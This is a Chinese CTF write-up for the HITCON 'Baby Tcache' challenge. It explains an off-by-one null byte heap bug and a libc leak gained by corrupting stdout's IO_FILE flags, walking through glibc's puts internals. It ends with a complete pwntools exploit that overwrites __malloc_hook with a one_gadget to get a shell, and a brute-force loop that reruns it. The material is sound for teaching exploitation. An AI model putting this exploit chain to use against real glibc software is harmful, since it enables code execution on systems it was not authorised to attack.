Hitcon Baby Tcache
收获挺大的一题,IO_FILE 真好用….angelboy,david942j真的厉害。。。
附件 程序逻辑很简答:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 cmd; // rax
init_0();
while ( 1 )
{
while ( 1 )
{
menu();
cmd = get_cmd();
if ( cmd != 2 )
break;
del();
}
if ( cmd == 3 )
_exit(0);
if ( cmd == 1 )
add();
else
puts("Invalid Choice");
}
}
漏洞分析:
只有两个功能增加和删除 删除没啥问题 主要的漏洞点在增加:
ptr[size] = 0;
这里造成了one_null_byte_off
checksec:
➜ baby_tcache checksec baby_tcache
[*] '/home/n132/Desktop/baby_tcache/baby_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
使用的是libc-2.27(应该是。。。可能是2.26刚刚上去hitcon发现不能下载了)
本题主要问题有两个 1.tcache机制下利用one_null_byte_off 2.泄露libc(一开始我是认为没有泄露的…被wp震惊了…)
核心思想是
A|B|C ----->A|freed B|C----->A|B1,B2,blank|C
主要思路:
* 三个块ABC
free(B)进unsortedbin: B大于tcache的最大值
最后free(B1)防止进Tcache和fast绕过:
做了one_null_byte_off之后就可以愉快地利用tcache来任意地址写了…
长知识了…跟着走了一遍源码…
全题唯一输出函数puts… 首先:
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
这里主要实现功能的函数是_IO_sputn()
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
也就是
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
在研究这里之前我们先看一下IO_FILE输出相关域和IO_FILE flags
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
IO_FILE flags
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
也就是说
然后我们再来看_IO_new_file_xsputn关键部分 P1:
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
这里检测是否_IO_LINE_BUF和_IO_CURRENTLY_PUTTING如果是的话那么就开始计算输出长度count.. 不是的话就直接用_IO_write_end-_IO_write_ptr得出count P2:
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
}
首先是conut直接大于0情况比较to_do和count然后把s memcpy 到f->_IO_write_ptr
接下来是最重要的输出环节
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
先计算do_write:字节数…然后call new_do_write ===>
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
先是确定fp->_offset 然后call了 最终的输出_IO_SYSWRITE
整个puts的过程简单如上所示现在回到我们题目上来. 我们可以通过控制partial write 做tcache attack 控制IO_FILE更改IO_FILE做输出 思路如下:
_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags
发现最低字节&2==1
的话之后还是会输出换行符,所以最好设置成 _flags=0x1802(AD-2019-12-07)
终于搞定这两件事情...那么总的思路就是
* 通过one_null_byte_off控制IO_file造成leak
* 做tcache atk改写__malloc_hook
# EXP
```python
from pwn import *
#context.log_level="debug"
def cmd(c):
p.readuntil("Your choice: ")
p.sendline(str(c))
def add(size,data):
cmd(1)
p.sendlineafter("Size:",str(size))
p.sendafter("Data:",data)
def free(idx):
cmd(2)
p.sendlineafter("Index:",str(idx))
p=process("./baby_tcache")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
for x in range(6):
add(0x80,"\n")#0
add(0x38,"\n")#6
# fill up the tcache
add(0x8e0,"\n")#7 E
add(0x440,'\n')#8 C
add(0x80,'\n')#9 D
free(6)
free(7)
add(0x18,'\n')#6
add(0x80,'\n')#7
for x in range(6):
free(x)
add(0x60,'\n')#0
free(0)
free(6)
free(9)
free(7)
free(8)
add(0x6f0,'\n')#0
add(0x20,'\n')#1
add(0x50,'\n')#2
add(0x100,'\x60\x07\xdd')#3
add(0x60,"\n")#4
gdb.attach(p)
add(0x60,p64(0xfbad1800)+p64(0)*3+'\x00')#5
p.read(8)
base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd18b0-0x7ffff79e4000)
log.warning(hex(base))
free(4)
free(3)
libc.address=base
add(0x100,p64(libc.symbols['__malloc_hook']-35))
add(0x100,"\n")
one=base+0x10a38c
add(0x100,'\x00'*35+p64(one))
cmd(1)
p.sendlineafter("ize:",'\n')
p.interactive()
partial write 了 3byte 应该是 256*16次有一次成功… 我测试的运气超好…20秒钟就成功了
for x in `seq 4096`;do
python exp.py
done